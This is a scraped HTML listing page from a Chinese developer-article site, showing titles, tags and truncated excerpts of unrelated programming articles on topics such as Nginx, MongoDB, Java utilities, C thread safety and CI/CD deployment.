                        <span class="text-muted">极客不孤独</span>
<a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a>
                        <div>C语言编程中线程安全的实现方法在多线程编程中,线程安全(ThreadSafety)是一个非常重要的概念。当多个线程同时访问共享资源时,如果没有合理的同步机制,就可能导致数据竞争、死锁甚至程序崩溃。本文将详细介绍在C语言中如何实现线程安全的几种主要方式,并提供可以实际运行的代码示例。文章目录C语言编程中线程安全的实现方法一、什么是线程安全?二、C语言中线程安全的实现方式方法一:互斥锁(Mutex)✅</div>
                    </li>
                    <li><a href="/article/1938869573390495744.htm"
                           title="✨【Blender/Houdini 渲染必看】CPUⓥⓢGPU?3 分钟选对算力不踩坑!" target="_blank">✨【Blender/Houdini 渲染必看】CPUⓥⓢGPU?3 分钟选对算力不踩坑!</a>
                        <span class="text-muted">渲染101专业云渲染</span>
<a class="tag" taget="_blank" href="/search/blender/1.htm">blender</a><a class="tag" taget="_blank" href="/search/houdini/1.htm">houdini</a><a class="tag" taget="_blank" href="/search/%E5%88%86%E5%B8%83%E5%BC%8F/1.htm">分布式</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/maya/1.htm">maya</a>
                        <div>核心问题速答Q:渲染该选CPU还是GPU?✅CPU:复杂场景/批量渲染/预算可控首选✅GPU:单帧速度/实时预览/急单交付必选维度1:硬件硬刚——CPU凭啥赢麻了?▫️多线程王者:16核/32核服务器矩阵,支持50-300台并行渲染▫️场景兼容性:粒子特效/全局光照/超复杂模型稳定输出秘密武器:CPU批量渲染100帧耗时=GPU单帧耗时,整体效率持平!⚙️维度2:动态计费逻辑——成本由什么决定?计</div>
                    </li>
                    <li><a href="/article/1938859372566343680.htm"
                           title="如何在FastAPI中打造坚不可摧的Web安全防线?" target="_blank">如何在FastAPI中打造坚不可摧的Web安全防线?</a>
                        <span class="text-muted"></span>

                        <div>url:/posts/9d6200ae7ce0a1a1a523591e3d65a82e/title:如何在FastAPI中打造坚不可摧的Web安全防线?date:2025-06-28T08:37:03+08:00lastmod:2025-06-28T08:37:03+08:00author:cmdragonsummary:Web安全三要素包括机密性、完整性和可用性。机密性通过加密算法保护数据传输和</div>
                    </li>
                    <li><a href="/article/1938859245273411584.htm"
                           title="PCDN如何提升网络流量的传输效率" target="_blank">PCDN如何提升网络流量的传输效率</a>
                        <span class="text-muted"></span>
<a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a>
                        <div>PCDN如何提升网络流量的传输效率在当今数字化时代,网络流量的快速增长对传统的CDN(内容分发网络)提出了更高要求。PCDN(P2PCDN)作为一种创新的内容分发技术,通过利用边缘节点的带宽资源,显著提升了宽带流量的传输效率,为用户带来更流畅的网络体验。分布式节点优化宽带流量传输传统CDN依赖中心化服务器分发内容,当用户请求激增时,容易导致服务器负载过高,影响宽带流量的传输速度。PCDN则采用分布</div>
                    </li>
                    <li><a href="/article/1938856465695567872.htm"
                           title="MCP-Proxy:开发多LLM & 多MCP 支持并安全访问MCP Server的秘密" target="_blank">MCP-Proxy:开发多LLM & 多MCP 支持并安全访问MCP Server的秘密</a>
                        <span class="text-muted">IT古董</span>
<a class="tag" taget="_blank" href="/search/%E6%8A%80%E6%9C%AF%E6%9D%82%E8%B0%88/1.htm">技术杂谈</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/MCP/1.htm">MCP</a><a class="tag" taget="_blank" href="/search/MCP-Proxy/1.htm">MCP-Proxy</a>
                        <div>在构建多模型、多协议、可控可信的大模型接入平台时,MCP-Proxy扮演着关键中枢。它不仅要支持多个LLM接入,还要保障对后端MCPServer的安全访问、请求审计、能力切换与资源隔离。什么是MCP/MCP-Proxy?MCP(ModelCapabilityProtocol)是新一代模型能力调用协议,类似于OpenAI的API,但可支持:多厂商大模型(OpenAI、DeepSeek、Yi、Chat</div>
                    </li>
                    <li><a href="/article/1938852301515059200.htm"
                           title="企业级知识库私有化部署:腾讯混元+云容器服务TKE实战" target="_blank">企业级知识库私有化部署:腾讯混元+云容器服务TKE实战</a>
                        <span class="text-muted">大熊计算机</span>
<a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/%E8%85%BE%E8%AE%AF%E4%BA%91/1.htm">腾讯云</a><a class="tag" taget="_blank" href="/search/%E8%AF%AD%E8%A8%80%E6%A8%A1%E5%9E%8B/1.htm">语言模型</a>
                        <div>1.背景需求分析在金融、医疗等数据敏感行业,企业需要构建完全自主可控的知识库系统。本文以某证券机构智能投研系统为原型,演示如何基于腾讯混元大模型与TKE容器服务实现:千亿级参数模型的私有化部署金融领域垂直场景微调高并发低延迟推理服务全链路安全合规方案1.1典型技术挑战#性能基准测试数据(单位:QPS)|场景|裸机部署|容器化部署|优化后||--------------------|--------</div>
                    </li>
                    <li><a href="/article/1938848774784872448.htm"
                           title="GitHub Actions与AWS OIDC实现安全的ECR/ECS自动化部署" target="_blank">GitHub Actions与AWS OIDC实现安全的ECR/ECS自动化部署</a>
                        <span class="text-muted">ivwdcwso</span>
<a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4%E4%B8%8E%E4%BA%91%E5%8E%9F%E7%94%9F/1.htm">运维与云原生</a><a class="tag" taget="_blank" href="/search/github/1.htm">github</a><a class="tag" taget="_blank" href="/search/aws/1.htm">aws</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/ecr/1.htm">ecr</a><a class="tag" taget="_blank" href="/search/ecs/1.htm">ecs</a><a class="tag" taget="_blank" href="/search/oldc/1.htm">oldc</a><a class="tag" taget="_blank" href="/search/CI%2FCD/1.htm">CI/CD</a>
                        <div>引言在现代云原生应用开发中,实现安全、高效的CI/CD流程至关重要。本文将详细介绍如何利用GitHubActions和AWSOIDC(OpenIDConnect)构建一个无需长期凭证的安全部署管道,将容器化应用自动部署到AmazonECR和ECS服务。架构概述整个解决方案的架构包含三个主要部分:GitHub端:代码仓库和GitHubActions工作流AWS端:OIDC身份验证、ECR容器仓库和E</div>
                    </li>
                    <li><a href="/article/1938843731260141568.htm"
                           title="Nginx 核心功能" target="_blank">Nginx 核心功能</a>
                        <span class="text-muted">?ccc?</span>
<a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a>
                        <div>目录一:正向代理1:编译安装Nginx(1)安装支持软件(2)创建运行用户、组和日志目录(3)编译安装Nginx(4)添加Nginx系统服务2:配置正向代理二:反向代理1:配置nginx七层代理2:配置nginx四层代理三:Nginx缓存1:缓存功能的核心原理和缓存类型2:代理缓存功能设置四:Nginxrewrite和正则一:正向代理正向代理(ForwardProxy)是一种位于客户端和原始服务器</div>
                    </li>
                    <li><a href="/article/1938843227033497600.htm"
                           title="简单介绍物联网MQTT协议" target="_blank">简单介绍物联网MQTT协议</a>
                        <span class="text-muted">Zio_Zhou</span>
<a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/1.htm">计算机网络</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>在学习mqtt应用层协议之前,我们先来介绍一下发布/订阅模型以及请求/响应模型两种模型。请求/响应模型是网络应用系统中最常见的模型。在这种模型中,一个客户端(如一个Web浏览器)向服务器发送一个请求,服务器处理这个请求并返回一个响应。这个过程是同步的,意味着客户端需要等待服务器的响应。这种模型的优点是简单和易于理解,但在处理大量并发请求时可能会导致性能问题。发布/订阅模型。在这种模型中,有一个或多</div>
                    </li>
                    <li><a href="/article/1938842848967323648.htm"
                           title="疲劳检测与行为分析:工厂智能化实践" target="_blank">疲劳检测与行为分析:工厂智能化实践</a>
                        <span class="text-muted">智驱力人工智能</span>
<a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E6%99%BA%E6%85%A7%E5%9F%8E%E5%B8%82/1.htm">智慧城市</a><a class="tag" taget="_blank" href="/search/%E8%A1%8C%E4%B8%BA%E8%AF%86%E5%88%AB/1.htm">行为识别</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%91%98%E5%B1%9E%E6%80%A7%E8%AF%86%E5%88%AB/1.htm">人员属性识别</a><a class="tag" taget="_blank" href="/search/%E7%96%B2%E5%8A%B3%E6%A3%80%E6%B5%8B/1.htm">疲劳检测</a><a class="tag" taget="_blank" href="/search/%E6%8A%BD%E7%83%9F%E6%A3%80%E6%B5%8B/1.htm">抽烟检测</a><a class="tag" taget="_blank" href="/search/%E5%BE%98%E5%BE%8A%E6%A3%80%E6%B5%8B/1.htm">徘徊检测</a>
                        <div>视觉分析算法赋能工厂疲劳与安全管理一、背景与需求在制造业中,疲劳作业是导致安全事故和效率下降的核心因素之一。传统人工巡检存在覆盖面不足、响应滞后等问题,而基于视觉分析的智能监控系统通过多算法协同,可实现全天候、高精度的疲劳检测与行为管理。本文围绕疲劳检测算法、人员计数算法、抽烟检测算法及徘徊检测算法,探讨其在工厂场景中的技术实现与应用价值。二、技术实现疲劳检测算法原理:基于PERCLOS(眼睑闭合</div>
                    </li>
                    <li><a href="/article/1938836168598679552.htm"
                           title="Nginx与Tomcat:谁更适合你的服务器?" target="_blank">Nginx与Tomcat:谁更适合你的服务器?</a>
                        <span class="text-muted">当归1024</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E4%B8%AD%E9%97%B4%E4%BB%B6/1.htm">中间件</a><a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a>
                        <div>nginx和Tomcat是两种不同类型的服务器软件,它们各有不同的用途和特点:基本定义nginx轻量级的HTTP服务器和反向代理服务器主要用于静态文件服务、负载均衡、反向代理TomcatJavaWeb应用服务器专门用于运行JavaWeb应用(JSP、Servlet)主要区别1.功能定位nginx:静态文件服务器反向代理服务器负载均衡器HTTP缓存服务器Tomcat:Java应用容器JSP/Serv</div>
                    </li>
                    <li><a href="/article/1938834150249263104.htm"
                           title="Node.js 全局对象" target="_blank">Node.js 全局对象</a>
                        <span class="text-muted">froginwe11</span>
<a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>Node.js全局对象引言Node.js作为一种流行的JavaScript运行环境,以其高性能、轻量级和跨平台的特点,被广泛应用于服务器端编程、网络应用开发等领域。在Node.js中,全局对象是一个重要的概念,它为开发者提供了一系列内置的全局变量和方法,使得编程变得更加便捷。本文将详细介绍Node.js的全局对象,帮助开发者更好地理解和运用它们。Node.js全局对象概述Node.js的全局对象指</div>
                    </li>
                    <li><a href="/article/1938832133409796096.htm"
                           title="Nginx服务部署与配置" target="_blank">Nginx服务部署与配置</a>
                        <span class="text-muted">月堂</span>
<a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a>
                        <div>目录HTTPS访问配置(又称自签名)1、SSL简介2、HTTPS工作流程(重要)3、自留签名证书location配置作用匹配规则匹配优先级rewrite配置HTTPS访问配置(又称自签名)1、SSL简介SSL(SecureSocketsLayer)安全套接层。是由Netscape(网景)公司于1990年开发,用于保障WordWideWeb(WWW)通讯的安全。主要任务是提供私密性,信息完整性和身份</div>
                    </li>
                    <li><a href="/article/1938825961093001216.htm"
                           title="【C++】String的使用" target="_blank">【C++】String的使用</a>
                        <span class="text-muted">nanguochenchuan</span>
<a class="tag" taget="_blank" href="/search/C%2B%2B/1.htm">C++</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>字符串基础概念std::stringvsC风格字符串std::string是C++标准库提供的字符串类,相比C风格的char*具有明显优势:自动内存管理丰富的成员函数安全的边界检查支持运算符重载#include//必须包含的头文件std::strings1;//空字符串std::strings2="Hello";//直接初始化charcstr[]="World";std::strings3(cst</div>
                    </li>
                                <li><a href="/article/108.htm"
                                       title="Nginx负载均衡" target="_blank">Nginx负载均衡</a>
                                    <span class="text-muted">510888780</span>
<a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/%E5%BA%94%E7%94%A8%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">应用服务器</a>
                                    <div>Nginx负载均衡一些基础知识: 
 
nginx 的 upstream目前支持 4 种方式的分配 
1)、轮询(默认) 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 每个请求按时间顺序逐一分配到不同的后端服务器,如果后端服务器down掉,能自动剔除。 
2)、weight 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 指定轮询几率,weight和访问比率成正比</div>
                                </li>
                                <li><a href="/article/235.htm"
                                       title="RedHat 6.4 安装 rabbitmq" target="_blank">RedHat 6.4 安装 rabbitmq</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/erlang/1.htm">erlang</a><a class="tag" taget="_blank" href="/search/rabbitmq/1.htm">rabbitmq</a><a class="tag" taget="_blank" href="/search/redhat/1.htm">redhat</a>
                                    <div>在 linux 下安装软件就是折腾,首先是测试机不能上外网要找运维开通,开通后发现测试机的 yum 不能使用于是又要配置 yum 源,最后安装 rabbitmq 时也尝试了两种方法最后才安装成功 
 
机器版本: 
 
[root@redhat1 rabbitmq]# lsb_release
LSB Version:    :base-4.0-amd64:base-4.0-noarch:core</div>
                                </li>
                                <li><a href="/article/362.htm"
                                       title="FilenameUtils工具类" target="_blank">FilenameUtils工具类</a>
                                    <span class="text-muted">eksliang</span>
<a class="tag" taget="_blank" href="/search/FilenameUtils/1.htm">FilenameUtils</a><a class="tag" taget="_blank" href="/search/common-io/1.htm">common-io</a>
                                    <div>转载请出自出处:http://eksliang.iteye.com/blog/2217081 一、概述 
这是一个Java操作文件的常用库,是Apache对java的IO包的封装,这里面有两个非常核心的类FilenameUtils跟FileUtils,其中FilenameUtils是对文件名操作的封装;FileUtils是文件封装,开发中对文件的操作,几乎都可以在这个框架里面找到。 非常的好用。 </div>
                                </li>
                                <li><a href="/article/489.htm"
                                       title="xml文件解析SAX" target="_blank">xml文件解析SAX</a>
                                    <span class="text-muted">不懂事的小屁孩</span>
<a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a>
                                    <div>xml文件解析:xml文件解析有四种方式, 
1.DOM生成和解析XML文档(SAX是基于事件流的解析) 
2.SAX生成和解析XML文档(基于XML文档树结构的解析) 
3.DOM4J生成和解析XML文档 
4.JDOM生成和解析XML  
本文章用第一种方法进行解析,使用android常用的DefaultHandler 
 
 
import org.xml.sax.Attributes;
</div>
                                </li>
                                <li><a href="/article/616.htm"
                                       title="通过定时任务执行mysql的定期删除和新建分区,此处是按日分区" target="_blank">通过定时任务执行mysql的定期删除和新建分区,此处是按日分区</a>
                                    <span class="text-muted">酷的飞上天空</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
                                    <div>使用python脚本作为命令脚本,linux的定时任务来每天定时执行 
  
#!/usr/bin/python
# -*- coding: utf8 -*-
import pymysql
import datetime
import calendar

#要分区的表
table_name = 'my_table'
#连接数据库的信息
host,user,passwd,db = </div>
                                </li>
                                <li><a href="/article/743.htm"
                                       title="如何搭建数据湖架构?听听专家的意见" target="_blank">如何搭建数据湖架构?听听专家的意见</a>
                                    <span class="text-muted">蓝儿唯美</span>
<a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a>
                                    <div>Edo Interactive在几年前遇到一个大问题:公司使用交易数据来帮助零售商和餐馆进行个性化促销,但其数据仓库没有足够时间去处理所有的信用卡和借记卡交易数据 
&nbsp;“我们要花费27小时来处理每日的数据量,”Edo主管基础设施和信息系统的高级副总裁Tim Garnto说道:“所以在2013年,我们放弃了现有的基于PostgreSQL的关系型数据库系统,使用了Hadoop集群作为公司的数</div>
                                </li>
                                <li><a href="/article/870.htm"
                                       title="spring学习——控制反转与依赖注入" target="_blank">spring学习——控制反转与依赖注入</a>
                                    <span class="text-muted">a-john</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a>
                                    <div>&nbsp; &nbsp; &nbsp; &nbsp;控制反转(Inversion of Control,英文缩写为IoC)是一个重要的面向对象编程的法则来削减计算机程序的耦合问题,也是轻量级的Spring框架的核心。 控制反转一般分为两种类型,依赖注入(Dependency Injection,简称DI)和依赖查找(Dependency Lookup)。依赖注入应用比较广泛。 
&nbsp; 
</div>
                                </li>
                                <li><a href="/article/997.htm"
                                       title="用spool+unixshell生成文本文件的方法" target="_blank">用spool+unixshell生成文本文件的方法</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/xshell/1.htm">xshell</a>
                                    <div>例如我们把scott.dept表生成文本文件的语句写成dept.sql,内容如下:  
  set pages 50000; 
  set lines 200; 
  set trims on; 
  set heading off; 
  spool /oracle_backup/log/test/dept.lst; 
  select deptno||','||dname||','||loc </div>
                                </li>
                                <li><a href="/article/1124.htm"
                                       title="1、基础--名词解析(OOA/OOD/OOP)" target="_blank">1、基础--名词解析(OOA/OOD/OOP)</a>
                                    <span class="text-muted">asia007</span>
<a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/1.htm">学习基础知识</a>
                                    <div>OOA:Object-Oriented Analysis(面向对象分析方法) 
是在一个系统的开发过程中进行了系统业务调查以后,按照面向对象的思想来分析问题。OOA与结构化分析有较大的区别。OOA所强调的是在系统调查资料的基础上,针对OO方法所需要的素材进行的归类分析和整理,而不是对管理业务现状和方法的分析。 
  OOA(面向对象的分析)模型由5个层次(主题层、对象类层、结构层、属性层和服务层)</div>
                                </li>
                                <li><a href="/article/1251.htm"
                                       title="浅谈java转成json编码格式技术" target="_blank">浅谈java转成json编码格式技术</a>
                                    <span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/json%E7%BC%96%E7%A0%81/1.htm">json编码</a><a class="tag" taget="_blank" href="/search/java%E8%BD%AC%E6%88%90json%E7%BC%96%E7%A0%81/1.htm">java转成json编码</a>
                                    <div>json编码;是一个轻量级的数据存储和传输的语言 
&nbsp;&nbsp; 
&nbsp; &nbsp;在java中需要引入json相关的包,引包方式在工程的lib下就可以了 
&nbsp; 
JSON与JAVA数据的转换(JSON 即 JavaScript Object Natation,它是一种轻量级的数据交换格式,非 
&nbsp; 
常适合于服务器与 JavaScript 之间的数据的交</div>
                                </li>
                                <li><a href="/article/1378.htm"
                                       title="web.xml之Spring配置(基于Spring+Struts+Ibatis)" target="_blank">web.xml之Spring配置(基于Spring+Struts+Ibatis)</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/web.xml/1.htm">web.xml</a><a class="tag" taget="_blank" href="/search/SSI/1.htm">SSI</a><a class="tag" taget="_blank" href="/search/spring%E9%85%8D%E7%BD%AE/1.htm">spring配置</a>
                                    <div>指定Spring配置文件位置 
&lt;context-param&gt;
		&lt;param-name&gt;contextConfigLocation&lt;/param-name&gt;
		&lt;param-value&gt;
			/WEB-INF/spring-dao-bean.xml,/WEB-INF/spring-resources.xml,
			/WEB-INF/</div>
                                </li>
                                <li><a href="/article/1505.htm"
                                       title="Installing SonarQube(Fail to download libraries from server)" target="_blank">Installing SonarQube(Fail to download libraries from server)</a>
                                    <span class="text-muted">sunjing</span>
<a class="tag" taget="_blank" href="/search/Install/1.htm">Install</a><a class="tag" taget="_blank" href="/search/Sonar/1.htm">Sonar</a>
                                    <div>1.&nbsp; Download and unzip the SonarQube distribution  
2. &nbsp;Starting the Web Server 
The default port is &quot;9000&quot; and the context path is &quot;/&quot;. These values can be changed in &l</div>
                                </li>
                                <li><a href="/article/1632.htm"
                                       title="【MongoDB学习笔记十一】Mongo副本集基本的增删查" target="_blank">【MongoDB学习笔记十一】Mongo副本集基本的增删查</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a>
                                    <div>一、创建复本集 
&nbsp; 
假设mongod,mongo已经配置在系统路径变量上,启动三个命令行窗口,分别执行如下命令: 
&nbsp; 
mongod --port 27017 --dbpath  data1 --replSet rs0

mongod --port 27018 --dbpath  data2 --replSet rs0

mongod --port 27019 -</div>
                                </li>
                                <li><a href="/article/1759.htm"
                                       title="Anychart图表系列二之执行Flash和HTML5渲染" target="_blank">Anychart图表系列二之执行Flash和HTML5渲染</a>
                                    <span class="text-muted">白糖_</span>
<a class="tag" taget="_blank" href="/search/Flash/1.htm">Flash</a>
                                    <div>今天介绍Anychart的Flash和HTML5渲染功能 
&nbsp; 
 
 HTML5 
 
Anychart从6.0第一个版本起,已经逐渐开始支持各种图的HTML5渲染效果了,也就是说即使你没有安装Flash插件,只要浏览器支持HTML5,也能看到Anychart的图形(不过这些是需要做一些配置的)。 
这里要提醒下大家,Anychart6.0版本对HTML5的支持还不算很成熟,目前还处于</div>
                                </li>
                                <li><a href="/article/1886.htm"
                                       title="Laravel版本更新异常4.2.8-> 4.2.9 Declaration of ... CompilerEngine ... should be compa" target="_blank">Laravel版本更新异常4.2.8-> 4.2.9 Declaration of ... CompilerEngine ... should be compa</a>
                                    <span class="text-muted">bozch</span>
<a class="tag" taget="_blank" href="/search/laravel/1.htm">laravel</a>
                                    <div>昨天在为了把laravel升级到最新的版本,突然之间就出现了如下错误: 
ErrorException thrown with message &quot;Declaration of Illuminate\View\Engines\CompilerEngine::handleViewException() should be compatible with Illuminate\View\Eng</div>
                                </li>
                                <li><a href="/article/2013.htm"
                                       title="编程之美-NIM游戏分析-石头总数为奇数时如何保证先动手者必胜" target="_blank">编程之美-NIM游戏分析-石头总数为奇数时如何保证先动手者必胜</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B%E4%B9%8B%E7%BE%8E/1.htm">编程之美</a>
                                    <div>


import java.util.Arrays;
import java.util.Random;

public class Nim {

	/**编程之美 NIM游戏分析
问题:
有N块石头和两个玩家A和B,玩家A先将石头随机分成若干堆,然后按照BABA...的顺序不断轮流取石头,
能将剩下的石头一次取光的玩家获胜,每次取石头时,每个玩家只能从若干堆石头中任选一堆,</div>
                                </li>
                                <li><a href="/article/2140.htm"
                                       title="lunce创建索引及简单查询" target="_blank">lunce创建索引及简单查询</a>
                                    <span class="text-muted">chengxuyuancsdn</span>
<a class="tag" taget="_blank" href="/search/%E6%9F%A5%E8%AF%A2/1.htm">查询</a><a class="tag" taget="_blank" href="/search/%E5%88%9B%E5%BB%BA%E7%B4%A2%E5%BC%95/1.htm">创建索引</a><a class="tag" taget="_blank" href="/search/lunce/1.htm">lunce</a>
                                    <div>import java.io.File;
import java.io.IOException;

import org.apache.lucene.analysis.Analyzer;
import org.apache.lucene.analysis.standard.StandardAnalyzer;
import org.apache.lucene.document.Docume</div>
                                </li>
                                <li><a href="/article/2267.htm"
                                       title="[IT与投资]坚持独立自主的研究核心技术" target="_blank">[IT与投资]坚持独立自主的研究核心技术</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/it/1.htm">it</a>
                                    <div> 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 和别人合作开发某项产品....如果互相之间的技术水平不同,那么这种合作很难进行,一般都会成为强者控制弱者的方法和手段..... 
 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 所以弱者,在遇到技术难题的时候,最好不要一开始就去寻求强者的帮助,因为在我们这颗星球上,生物都有一种控制其</div>
                                </li>
                                <li><a href="/article/2394.htm"
                                       title="flashback transaction闪回事务查询" target="_blank">flashback transaction闪回事务查询</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E9%97%AA%E5%9B%9E%E4%BA%8B%E5%8A%A1/1.htm">闪回事务</a>
                                    <div>&nbsp;&nbsp; 
闪回事务查询有别于闪回查询的特点有以下3个: 
 
(1)其正常工作不但需要利用撤销数据,还需要事先启用最小补充日志。 
 
(2)返回的结果不是以前的“旧”数据,而是能够将当前数据修改为以前的样子的撤销SQL(Undo SQL)语句。 
 
(3)集中地在名为flashback_transaction_query表上查询,而不是在各个表上通过“as of”或“vers</div>
                                </li>
                                <li><a href="/article/2521.htm"
                                       title="Java I/O之FilenameFilter类列举出指定路径下某个扩展名的文件" target="_blank">Java I/O之FilenameFilter类列举出指定路径下某个扩展名的文件</a>
                                    <span class="text-muted">游其是你</span>
<a class="tag" taget="_blank" href="/search/FilenameFilter/1.htm">FilenameFilter</a>
                                    <div>这是一个FilenameFilter类用法的例子,实现的列举出“c:\\folder“路径下所有以“.jpg”扩展名的文件。        1   2   3   4   5   6   7   8   9   10   11   12   13   14   15   16   17   18   19   20   21   22   23   24   25   26   27   28  </div>
                                </li>
                                <li><a href="/article/2648.htm"
                                       title="C语言学习五函数,函数的前置声明以及如何在软件开发中合理的设计函数来解决实际问题" target="_blank">C语言学习五函数,函数的前置声明以及如何在软件开发中合理的设计函数来解决实际问题</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/c/1.htm">c</a>
                                    <div># include &lt;stdio.h&gt;

int f(void)		//括号中的void表示该函数不能接受数据,int表示返回的类型为int类型
{
	return 10;	//向主调函数返回10
}

void g(void)	//函数名前面的void表示该函数没有返回值
{
	//return 10;	//error 与第8行行首的void相矛盾
}

in</div>
                                </li>
                                <li><a href="/article/2775.htm"
                                       title="今天在测试环境使用yum安装,遇到一个问题: Error: Cannot retrieve metalink for repository: epel. Pl" target="_blank">今天在测试环境使用yum安装,遇到一个问题: Error: Cannot retrieve metalink for repository: epel. Pl</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/centos/1.htm">centos</a>
                                    <div>今天在测试环境使用yum安装,遇到一个问题: 
Error: Cannot retrieve metalink for repository: epel. Please verify its path and try again 
&nbsp; 
处理很简单,修改文件“/etc/yum.repos.d/epel.repo”, 将baseurl的注释取消, mirrorlist注释掉。即可。 
&n</div>
                                </li>
                                <li><a href="/article/2902.htm"
                                       title="单例模式" target="_blank">单例模式</a>
                                    <span class="text-muted">shuizhaosi888</span>
<a class="tag" taget="_blank" href="/search/%E5%8D%95%E4%BE%8B%E6%A8%A1%E5%BC%8F/1.htm">单例模式</a>
                                    <div>单例模式&nbsp;&nbsp;   &nbsp;&nbsp; 懒汉式 
public class RunMain {

	/**
	 * 私有构造
	 */
	private RunMain() {
	}
	
    /**
     * 内部类,用于占位,只有
     */
	private static class SingletonRunMain {
		priv</div>
                                </li>
                                <li><a href="/article/3029.htm"
                                       title="Spring Security(09)——Filter" target="_blank">Spring Security(09)——Filter</a>
                                    <span class="text-muted">234390216</span>
<a class="tag" taget="_blank" href="/search/Spring+Security/1.htm">Spring Security</a>
                                    <div>Filter 
目录 
1.1&nbsp;&nbsp;&nbsp;&nbsp; Filter顺序 
1.2&nbsp;&nbsp;&nbsp;&nbsp; 添加Filter到FilterChain 
1.3&nbsp;&nbsp;&nbsp;&nbsp; DelegatingFilterProxy 
1.4&nbsp;&nbsp;&nbsp;&nbsp; FilterChainProxy 
1.5</div>
                                </li>
                                <li><a href="/article/3156.htm"
                                       title="公司项目NODEJS实践0.1" target="_blank">公司项目NODEJS实践0.1</a>
                                    <span class="text-muted">逐行分析JS源代码</span>
<a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a><a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a><a class="tag" taget="_blank" href="/search/nodejs/1.htm">nodejs</a>
                                    <div>&nbsp; 
一、前言 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;前端如何独立用nodeJs实现一个简单的注册、登录功能,是不是只用nodejs+sql就可以了?其实是可以实现,但离实际应用还有距离,那要怎么做才是实际可用的。 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;网上有很多nod</div>
                                </li>
                                <li><a href="/article/3283.htm"
                                       title="java.lang.Math" target="_blank">java.lang.Math</a>
                                    <span class="text-muted">liuhaibo_ljf</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/Math/1.htm">Math</a><a class="tag" taget="_blank" href="/search/lang/1.htm">lang</a>
                                    <div>System.out.println(Math.PI); 
System.out.println(Math.abs(1.2)); 
System.out.println(Math.abs(1.2)); 
System.out.println(Math.abs(1)); 
System.out.println(Math.abs(111111111)); 
System.out.println(Mat</div>
                                </li>
